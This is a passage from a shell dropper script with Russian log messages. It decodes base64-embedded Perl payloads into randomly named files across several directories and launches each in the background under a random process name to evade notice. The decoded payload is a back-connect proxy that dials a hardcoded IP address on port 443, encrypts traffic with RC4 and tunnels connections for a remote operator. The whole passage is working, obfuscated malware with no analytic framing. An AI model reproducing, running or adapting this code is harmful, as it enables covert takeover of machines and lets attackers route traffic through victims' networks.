ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #15 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #15 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 16 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4yMDEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j 